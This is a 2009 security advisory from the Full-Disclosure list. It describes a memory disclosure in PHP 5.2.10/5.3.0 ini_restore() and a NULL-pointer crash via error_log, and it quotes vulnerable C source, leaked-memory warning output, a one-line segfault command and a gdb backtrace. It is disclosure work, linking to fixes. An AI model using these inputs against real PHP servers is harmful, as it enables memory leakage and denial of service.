-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 - -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 [ PHP 5.2.10/5.3.0 (zend_ini.c) Memory Disclosure ] Author: Maksymilian Arciemowicz http://SecurityReason.com Date: - - - Dis.: 10.07.2009 - - - Pub.: 06.08.2009 Risk: High Affected Software: - - - PHP 5.3.0 - - - PHP 5.2.10 Original URL: http://securityreason.com/achievement_securityalert/65 - - --- 0.Description --- PHP is an HTML-embedded scripting language. Much of its syntax is borrowed from C, Java and Perl with a couple of unique PHP-specific features thrown in. The goal of the language is to allow web developers to write dynamically generated pages quickly. http://lu2.php.net/manual/en/function.ini-restore.php ini_restore ? Restores the value of a configuration option ini_restore ( string $varname ) - - --- 1. PHP 5.2.10/5.3.0 (zend_ini.c) Memory Disclosure --- The main problem exist in restoring php config environments. To demonstrate the problem, we need to declare variables via ini_set() function. When we try use ini_restore(), variables in class PG() will indicate any part of memory. - - ---zend_ini.c--- static int zend_restore_ini_entry_cb(zend_ini_entry *ini_entry, int stage TSRMLS_DC) /* {{{ */ { if (ini_entry->modified) { if (ini_entry->on_modify) { zend_try { /* even if on_modify bails out, we have to continue on with restoring, since there can be allocated variables that would be freed on MM shutdown and would lead to memory corruption later ini entry is modified again */ ini_entry->on_modify(ini_entry, ini_entry->orig_value, ini_entry->orig_value_length, ini_entry->mh_arg1, ini_entry->mh_arg2, ini_entry->mh_arg3, stage TSRMLS_CC); } zend_end_try(); } if (ini_entry->value != ini_entry->orig_value) { efree(ini_entry->value); } ini_entry->value = ini_entry->orig_value; ini_entry->value_length = ini_entry->orig_value_length; ini_entry->modified = 0; ini_entry->orig_value = NULL; ini_entry->orig_value_length = 0; if (ini_entry->modifiable >= (1 << 3)) { ini_entry->modifiable >>= 3; } } return 0; } - - ---zend_ini.c--- Flag modified will be reset, and we can not considered modified variable. We don't check value of ini_entry->on_modify() and PG() will be now out of memory range. To demonstrate this issue - - ---example0 (5.2.10/5.3.0)--- 127# uname -a && php -v OpenBSD 127.cxib 4.6 GENERIC#0 i386 PHP 5.2.10 with Suhosin-Patch 0.9.7 (cli) (built: Jul 5 2009 21:43:12) Copyright (c) 1997-2009 The PHP Group Zend Engine v2.2.0, Copyright (c) 1998-2009 Zend Technologies with Suhosin v0.9.27, Copyright (c) 2007, by SektionEins GmbH 127# cat /var/www/www/sess.php 127# php /var/www/www/sess.php AAA PHP Warning: session_start(): open($­|456789ABCDEF/sess_c7lv2k3bndfi25mhohq0nm7s06, O_RDWR) failed: No such file or directory (2) in /var/www/www/sess.php on line 5 PHP Warning: Unknown: open($­|456789ABCDEF/sess_c7lv2k3bndfi25mhohq0nm7s06, O_RDWR) failed: No such file or directory (2) in Unknown on line 0 PHP Warning: Unknown: Failed to write session data (files). Please verify that the current setting of session.save_path is correct ($­|ma: no-cache) in Unknown on line 0 127# php /var/www/www/sess.php PHP Warning: session_start(): open(¤^j|456789ABCDEF/sess_o9urrs37iabfg3tqvjuh07c1l1, O_RDWR) failed: No such file or directory (2) in /var/www/www/sess.php on line 5 PHP Warning: Unknown: open(¤^j|456789ABCDEF/sess_o9urrs37iabfg3tqvjuh07c1l1, O_RDWR) failed: No such file or directory (2) in Unknown on line 0 PHP Warning: Unknown: Failed to write session data (files). Please verify that the current setting of session.save_path is correct (¤^j|ma: no-cache) in Unknown on line 0 - - ---example0 (5.2.10/5.3.0)--- The main problem is started in ini_restore("session.save_path"). To show this issue, we need use some function with PG() inside (like: session_start()). - - ---example1 (5.3.0)--- 127# uname -mrs && php -v NetBSD 5.0 i386 PHP 5.3.0 (cli) (built: Jul 15 2009 23:47:25) Copyright (c) 1997-2009 The PHP Group Zend Engine v2.3.0, Copyrght (c) 1998-2009 Zend Technologies 127# cat /www/file.php 127# php /www/file.php PHP Warning: include(): open_basedir restriction in effect. File(B) is not within the allowed path(s): (4?e»X?p») in /www/file.php on line 7 Warning: include(): open_basedir restriction in effect. File(B) is not within the allowed path(s): (4?e»X?p») in /www/file.php on line 7 PHP Warning: include(B): failed to open stream: Operation not permitted in /www/file.php on line 7 Warning: include(B): failed to open stream: Operation not permitted in /www/file.php on line 7 PHP Warning: include(): Failed opening 'B' for inclusion (include_path='.:/usr/pkg/lib/php') in /www/file.php on line 7 Warning: include(): Failed opening 'B' for inclusion (include_path='.:/usr/pkg/lib/php') in /www/file.php on line 7 127# curl http://localhost/file.php
Warning: include() [function.include]: open_basedir restriction in effect. File(B) is not within the allowed path(s): (°?e»Hup») in /www/file.php on line 7

Warning: include(B) [function.include]: failed to open stream: Operation not permitted in /www/file.php on line 7

Warning: include() [function.include]: Failed opening 'B' for inclusion (include_path='.:/usr/pkg/lib/php') in /www/file.php on line 7
- - ---example1 (5.3.0)--- Variable PG(open_basedir) is now out of range. So any function (like: include()) with php_error_docref(NULL TSRMLS_CC, E_WARNING, "open_basedir restriction in effect. File(%s) is not within the allowed path(s): (%s)", path, PG(open_basedir)); will print memory examples: - - --- Warning: ini_restore() [function.ini-restore]: open_basedir restriction in effect. File() is not within the allowed path(s): (¤©f»ESSID) in /www/ssij.php on line 8 Warning: ini_restore() [function.ini-restore]: open_basedir restriction in effect. File() is not within the allowed path(s): (,Şf»aaaaaa) in /www/ssij.php on line 8 Warning: ini_restore() [function.ini-restore]: open_basedir restriction in effect. File() is not within the allowed path(s): (?¬f»ESSID) in /www/ssij.php on line 8 Warning: ini_restore() [function.ini-restore]: open_basedir restriction in effect. File() is not within the allowed path(s): (ČËe»ef_root) in /www/ssij.php on line 8 Warning: ini_restore() [function.ini-restore]: open_basedir restriction in effect. File() is not within the allowed path(s): (4Íe»r.ini) in /www/ssij.php on line 8 - - --- Variables in class PG, may take any value. So code such as if (PG(open_basedir) && php_check_open_basedir(new_value TSRMLS_CC)) can be manipulated. But not only zend_ini.c have issue. When we try use ini_set() and ini_restore() for error_log, php will crash. Function OnUpdateErrorLog, dosen't check that new_value is empty (null point). It should provide to crash. - - ---main.c--- static PHP_INI_MH(OnUpdateErrorLog) { ... /* Only do the safemode/open_basedir check at runtime */ if ((stage == PHP_INI_STAGE_RUNTIME || stage == PHP_INI_STAGE_HTACCESS) && strcmp(new_value, "syslog")) { ... - - ---main.c--- strcmp(3) will check new_value. So new_value can not be NULL. here: STD_PHP_INI_ENTRY("error_log", NULL, PHP_INI_ALL, OnUpdateErrorLog, error_log, php_core_globals, core_globals) default error_log is NULL ...("error_log", NULL,... so if we put some string, and remove it, php should crash 127# php -r 'ini_set("error_log","A");ini_restore("error_log");' Segmentation fault (core dumped) 127# gdb -q php (gdb) r -r 'ini_set("error_log","A");ini_restore("error_log");' Starting program: /usr/local/bin/php -r 'ini_set("error_log","A");ini_restore("error_log");' Program received signal SIGSEGV, Segmentation fault. 0x288ee410 in strcmp () from /lib/libc.so.7 bt: #0 0x288ee410 in strcmp () from /lib/libc.so.7 #1 0x081c7b85 in OnUpdateErrorLog (entry=0x28a65a80, new_value=0x0, new_value_length=3, mh_arg1=0x38, mh_arg2=0x83d5420, mh_arg3=0x0, stage=16) at /usr/ports/lang/php5/work/php-5.3.0/main/main.c:354 #2 0x0824cb85 in zend_restore_ini_entry_cb (ini_entry=0x28a65a80, stage=16) at /usr/ports/lang/php5/work/php-5.3.0/Zend/zend_ini.c:55 #3 0x0824d3f5 in zend_restore_ini_entry (name=0x28a1e36c "error_log", name_length=10, stage=16) ... Functions like OnUpdateErrorLog, should check, that new_value is not a NULL pointer. - - --- 2. Fix --- (5.3.0): http://svn.php.net/viewvc/php/php-src/branches/PHP_5_3/Zend/zend_ini.c http://svn.php.net/viewvc/php/php-src/branches/PHP_5_3/main/main.c (5.2.10): http://svn.php.net/viewvc/php/php-src/branches/PHP_5_2/Zend/zend_ini.c http://svn.php.net/viewvc/php/php-src/branches/PHP_5_2/main/main.c - - --- 3. Greets --- stas sp3x Infospec Chujwamwdupe p_e_a pi3 - - --- 4. Contact --- Author: SecurityReason.com [ Maksymilian Arciemowicz ] Email: cxib {a.t] securityreason [d00t} com GPG: http://securityreason.com/key/Arciemowicz.Maksymilian.gpg http://securityreason.com http://securityreason.pl - -----BEGIN PGP SIGNATURE----- iEYEARECAAYFAkp7FoMACgkQpiCeOKaYa9YWFwCbBhEvA69nQDgwXyuDdU8wbjmu ZIEAniHiQ3puTKqEtw9u8g6/T/806j7A =DvtO - -----END PGP SIGNATURE----- -----BEGIN PGP SIGNATURE----- iEYEARECAAYFAkp8K+IACgkQpiCeOKaYa9YUewCfWuE0ehBHN9yKqTMSbjqyKFha HxkAoKCMZuWZIUWUn/4TZI6b+fDk5aiH =khdY -----END PGP SIGNATURE----- _______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/